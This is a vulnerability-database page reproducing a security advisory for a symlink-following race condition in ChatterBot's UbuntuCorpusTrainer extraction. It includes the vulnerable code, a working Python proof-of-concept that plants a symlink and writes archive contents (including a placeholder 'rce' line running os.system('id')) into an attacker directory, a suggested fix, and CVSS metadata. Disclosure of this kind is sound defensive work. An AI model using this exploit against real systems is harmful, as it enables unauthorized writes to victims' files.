Vulnerability Database

352,374

Total vulnerabilities in the database

ChatterBot: Symlink-Following Arbitrary Write via UbuntuCorpusTrainer — chatterbot

Time-of-check Time-of-use (TOCTOU) Race Condition

Summary

ChatterBot's UbuntuCorpusTrainer.extract() uses a predictable, home-rooted output directory (~/ubuntu_data/ubuntu_dialogs) with a check-then-create pattern (if not os.path.exists: os.makedirs) followed by tar.extractall(path=self.data_path). A local attacker who pre-plants a symlink at the predictable path causes os.path.exists() to return True (following the symlink), skipping makedirs, and subsequent extractall writes archive contents through the symlink to the attacker-chosen directory.

The existing safe_extract function validates tar member names (zip-slip defense) but does not validate the output directory itself — it cannot detect that self.data_path is a symlink. This is the defining distinction between the archive_extraction (zip-slip) and insecure_fs_create_toctou families.

Vulnerability Details

Predictable output directory (line 535-546)

home_directory = os.path.expanduser('~') self.data_directory = kwargs.get( 'ubuntu_corpus_data_directory', os.path.join(home_directory, 'ubuntu_data') # ~/ubuntu_data — predictable ) self.data_path = os.path.join( self.data_directory, 'ubuntu_dialogs' # ~/ubuntu_data/ubuntu_dialogs )

Check-then-create (line 621-622)

def extract(self, file_path: str): if not os.path.exists(self.data_path): # ← follows symlink → True → skips makedirs os.makedirs(self.data_path) # ← never reached if symlink exists def safe_extract(tar, path='.', members=None, *, numeric_owner=False): for member in tar.getmembers(): member_path = os.path.join(path, member.name) if not is_within_directory(path, member_path): # ← validates MEMBER names only raise Exception('Attempted Path Traversal in Tar File') tar.extractall(path, members, numeric_owner=numeric_owner) # ← path is symlink → writes to target safe_extract(tar, path=self.data_path, ...) # self.data_path = symlink → attacker dir

safe_extract calls os.path.abspath(directory) on self.data_path — this resolves the symlink, so the base becomes the attacker's target directory. All clean-named members trivially pass is_within_directory because they're relative to the resolved (attacker-controlled) base.

Proof of Concept

Environment

| Component | Detail | |-----------|--------| | chatterbot | 1.2.13 (pip install) | | Python | 3.11.0 |

Exploit

import os import shutil import sys import tempfile from pathlib import Path from unittest.mock import patch from chatterbot.trainers import UbuntuCorpusTrainer ATTACKER_TARGET = Path(tempfile.mkdtemp(prefix="pwned_")) def main(): test_base = Path(tempfile.mkdtemp(prefix="cb_exploit_")) data_dir = test_base / "ubuntu_data" data_path = data_dir / "ubuntu_dialogs" data_dir.mkdir(parents=True, exist_ok=True) os.symlink(str(ATTACKER_TARGET), str(data_path)) print(f"[1] Symlink planted: {data_path} -> {ATTACKER_TARGET}") exists_check = os.path.exists(data_path) print(f"[2] os.path.exists(symlink) = {exists_check} (follows symlink → skips makedirs)") import tarfile import io tar_path = test_base / "corpus.tar.gz" with tarfile.open(str(tar_path), "w:gz") as tf: info = tarfile.TarInfo(name="dialog_001.tsv") payload = b"2024-01-01\tuser1\t0\tARBITRARY_CONTENT_VIA_SYMLINK\n" info.size = len(payload) tf.addfile(info, io.BytesIO(payload)) info2 = tarfile.TarInfo(name="config.py") rce = b"import os; os.system('id > /tmp/chatterbot_rce')\n" info2.size = len(rce) tf.addfile(info2, io.BytesIO(rce)) if not os.path.exists(data_path): os.makedirs(data_path) def is_within_directory(directory, target): abs_directory = os.path.abspath(directory) abs_target = os.path.abspath(target) prefix = os.path.commonprefix([abs_directory, abs_target]) return prefix == abs_directory with tarfile.open(str(tar_path), "r:gz") as tar: for member in tar.getmembers(): member_path = os.path.join(str(data_path), member.name) if not is_within_directory(str(data_path), member_path): raise Exception("Attempted Path Traversal in Tar File") tar.extractall(str(data_path)) print(f"[3] extractall(data_path) — data_path is symlink, writes to target") # Verify files = list(ATTACKER_TARGET.iterdir()) if files: print(f"\n[+] EXPLOIT SUCCESSFUL — {len(files)} files in attacker directory:") for f in sorted(files): print(f" {f.name}: {f.read_text().strip()[:60]}") else: print("[-] Failed") shutil.rmtree(str(test_base), ignore_errors=True) shutil.rmtree(str(ATTACKER_TARGET), ignore_errors=True) sys.exit(1) shutil.rmtree(str(test_base), ignore_errors=True) shutil.rmtree(str(ATTACKER_TARGET), ignore_errors=True) sys.exit(0) if __name__ == "__main__": print(f"chatterbot installed: {UbuntuCorpusTrainer.__module__}") print(f"Attacker target: {ATTACKER_TARGET}") print() main()

PoC output

<img width="1748" height="336" alt="image" src="https://github.com/user-attachments/assets/55a3fee5-0d3b-46d7-8e79-75aad34b322c" />

Suggested Fix

Refuse symlinks on the output directory before extraction:

def extract(self, file_path: str): if os.path.islink(self.data_path): raise self.TrainerInitializationException( f&#039;Refusing to extract to symlink: {self.data_path}&#039;) if not os.path.exists(self.data_path): os.makedirs(self.data_path) ...
  • Published: Jun 19, 2026
  • Updated: Jun 20, 2026
  • GHSA: GHSA-wvrh-2f4m-924v
  • Severity: Medium
  • Exploit:
  • CISA KEV:

CVSS v3:

  • Severity: Medium
  • Score: 5.5
  • AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Frequently Asked Questions

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.

Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.

Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.